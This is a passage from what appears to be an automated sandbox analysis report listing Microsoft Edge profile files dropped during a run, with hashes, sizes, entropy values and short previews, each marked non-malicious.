SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF38e76.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39d5a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12489
Entropy (8bit):	5.205618812096628
Encrypted:	false
SSDEEP:	192:stMJ99QTryDigabatSuypisc/LjsZihUkxg180bV+FGEQA66WtNaFIMYtP8YJ:stMPGKSu4is+vfhibGhQx6WjaTYr
MD5:	75CB79050BE13DC9FD71AC363A9F2530
SHA1:	274737BB097D94464B4D6E20EDBF5717CE86B8C3
SHA-256:	E3B702165B11FFC7FD58DC62FD3D4E2F909ACD11E6D233B4B4381EEB5C3C38E8
SHA-512:	9D01BF463B5B143754B85E60DC3F8DDA7E3BC3806ED72A89130BBA0E61B0AFC032AC226075A7D7546656A4DC0CAC7BFD803452B979EDC143E3DFF59E7E3DCFC8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376284947691140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3d226.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12489
Entropy (8bit):	5.205618812096628
Encrypted:	false
SSDEEP:	192:stMJ99QTryDigabatSuypisc/LjsZihUkxg180bV+FGEQA66WtNaFIMYtP8YJ:stMPGKSu4is+vfhibGhQx6WjaTYr
MD5:	75CB79050BE13DC9FD71AC363A9F2530
SHA1:	274737BB097D94464B4D6E20EDBF5717CE86B8C3
SHA-256:	E3B702165B11FFC7FD58DC62FD3D4E2F909ACD11E6D233B4B4381EEB5C3C38E8
SHA-512:	9D01BF463B5B143754B85E60DC3F8DDA7E3BC3806ED72A89130BBA0E61B0AFC032AC226075A7D7546656A4DC0CAC7BFD803452B979EDC143E3DFF59E7E3DCFC8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376284947691140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40ad9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12489
Entropy (8bit):	5.205618812096628
Encrypted:	false
SSDEEP:	192:stMJ99QTryDigabatSuypisc/LjsZihUkxg180bV+FGEQA66WtNaFIMYtP8YJ:stMPGKSu4is+vfhibGhQx6WjaTYr
MD5:	75CB79050BE13DC9FD71AC363A9F2530
SHA1:	274737BB097D94464B4D6E20EDBF5717CE86B8C3
SHA-256:	E3B702165B11FFC7FD58DC62FD3D4E2F909ACD11E6D233B4B4381EEB5C3C38E8
SHA-512:	9D01BF463B5B143754B85E60DC3F8DDA7E3BC3806ED72A89130BBA0E61B0AFC032AC226075A7D7546656A4DC0CAC7BFD803452B979EDC143E3DFF59E7E3DCFC8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376284947691140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF48ecf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12489
Entropy (8bit):	5.205618812096628
Encrypted:	false
SSDEEP:	192:stMJ99QTryDigabatSuypisc/LjsZihUkxg180bV+FGEQA66WtNaFIMYtP8YJ:stMPGKSu4is+vfhibGhQx6WjaTYr
MD5:	75CB79050BE13DC9FD71AC363A9F2530
SHA1:	274737BB097D94464B4D6E20EDBF5717CE86B8C3
SHA-256:	E3B702165B11FFC7FD58DC62FD3D4E2F909ACD11E6D233B4B4381EEB5C3C38E8
SHA-512:	9D01BF463B5B143754B85E60DC3F8DDA7E3BC3806ED72A89130BBA0E61B0AFC032AC226075A7D7546656A4DC0CAC7BFD803452B979EDC143E3DFF59E7E3DCFC8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376284947691140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.5548020267175655
Encrypted:	false
SSDEEP:	768:ue1nQp7pLGLpkCWPGkfM18F1+UoAYDCx9Tuqh0VfUC9xbog/OV4+thErwDNelmqe:ue1nQ/cpkCWPGkfM1u1jah4hdDNeljvG
MD5:	00726C65B572E71AB339813582DB3D2C
SHA1:	C5ABD74FD77DB35BE974A0BAC7B27EEDB460E262
SHA-256:	AABF25023EF87EA2284702B29F11734B2B674E4A0102791699CC7FE77242338C
SHA-512:	E7060E7EC5B91D9133D5951623A75178375495B79F3BD3D3029090259EE533C223675AD8FF58E5206DF35F266A05D4D1BB23D8E001A522CB6656DBC197E8ACFE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376284947062265","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376284947062265","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3edeb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.5548020267175655
Encrypted:	false
SSDEEP:	768:ue1nQp7pLGLpkCWPGkfM18F1+UoAYDCx9Tuqh0VfUC9xbog/OV4+thErwDNelmqe:ue1nQ/cpkCWPGkfM1u1jah4hdDNeljvG
MD5:	00726C65B572E71AB339813582DB3D2C
SHA1:	C5ABD74FD77DB35BE974A0BAC7B27EEDB460E262
SHA-256:	AABF25023EF87EA2284702B29F11734B2B674E4A0102791699CC7FE77242338C
SHA-512:	E7060E7EC5B91D9133D5951623A75178375495B79F3BD3D3029090259EE533C223675AD8FF58E5206DF35F266A05D4D1BB23D8E001A522CB6656DBC197E8ACFE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376284947062265","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376284947062265","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114467
Entropy (8bit):	5.579762937148906
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKHQcM6kqmsjz:d9LyxPXfOxr1lMe1nL/CL/TXEmilRBjz
MD5:	011AE6077C0FC5C72418E2C22D7A73FE
SHA1:	12AE353BD50085D4BF3D8E4C9031515D59D70987
SHA-256:	CA650A72371A8DEFE4482E8DC5D400BB977D79D385D9DA66D92FA59D408C8E62
SHA-512:	64248C893E29597A731D639A9A06C358FC940A1EBA1321E0C2DD8E388BC4D6F25275024EFFC6EEB66C9F05A5EBE8A2E959ED1A1989B7285BC4D50F0C8FF15AFF
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188961
Entropy (8bit):	6.386677230405583
Encrypted:	false
SSDEEP:	3072:1li5wXw2WCvpwiTOcDML/ZiMeOGfpD2O7lIF7iu:lzpwJcAL/AN9Ryk6L
MD5:	45122A450C024CB24A4E4FD4A64E8CDC
SHA1:	CEAA4BA2C7BAFA378D8C17A469AE686241A69007
SHA-256:	83765C413E87A1175C36AE3919091272ABA012BE47A2FA1BB6082D68A807EF68
SHA-512:	BC0725139F93BCB94626B2DA50452496C5115E86EC52D04AFE81B42A2282BC816880F83459F4318DA32685B6FB63C6C5D235042EB5319671E1589415A92618FC
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;"....x..........,T.8..`,.....L`.....,T...`......L`......Rc..7.....exports...Rc:.......module....Rcb.......define....Rbn.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.Z=]wb...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....8Z...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.537634645982951
Encrypted:	false
SSDEEP:	3:FXkkHFjXl/lR/lxEwltkGln:WANCQGQ
MD5:	0E9EEA5F8FAF670C8DD86FFDA812581F
SHA1:	1929F5D3B29AD909C1D9EC5117B4DC1AEEF695A1
SHA-256:	45F96FD7617E8178F0751DA30BBFDEF4B2934CCA63EBB834A264D394870F445F
SHA-512:	A74402F0CFE19BBD83C3B5525C210FB262CCEB92F59E3FFAC858A01C4E132E10A95BD60DBB25CACB926D8BDF81CCBDFDF20F0F614BFFDD1259836D971B3C814E
Malicious:	false
Preview:	@......oy retne.........................X....,................o..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.537634645982951
Encrypted:	false
SSDEEP:	3:FXkkHFjXl/lR/lxEwltkGln:WANCQGQ
MD5:	0E9EEA5F8FAF670C8DD86FFDA812581F
SHA1:	1929F5D3B29AD909C1D9EC5117B4DC1AEEF695A1
SHA-256:	45F96FD7617E8178F0751DA30BBFDEF4B2934CCA63EBB834A264D394870F445F
SHA-512:	A74402F0CFE19BBD83C3B5525C210FB262CCEB92F59E3FFAC858A01C4E132E10A95BD60DBB25CACB926D8BDF81CCBDFDF20F0F614BFFDD1259836D971B3C814E
Malicious:	false
Preview:	@......oy retne.........................X....,................o..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF40423.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.537634645982951
Encrypted:	false
SSDEEP:	3:FXkkHFjXl/lR/lxEwltkGln:WANCQGQ
MD5:	0E9EEA5F8FAF670C8DD86FFDA812581F
SHA1:	1929F5D3B29AD909C1D9EC5117B4DC1AEEF695A1
SHA-256:	45F96FD7617E8178F0751DA30BBFDEF4B2934CCA63EBB834A264D394870F445F
SHA-512:	A74402F0CFE19BBD83C3B5525C210FB262CCEB92F59E3FFAC858A01C4E132E10A95BD60DBB25CACB926D8BDF81CCBDFDF20F0F614BFFDD1259836D971B3C814E
Malicious:	false
Preview:	@......oy retne.........................X....,................o..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1284e493-ece3-4f00-a1ef-1da6a8e0fa5e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\65beffef-f88c-4db6-af74-5487c82d6428.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\6dedf4a7-877e-47b5-aa02-7402aceb1284.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
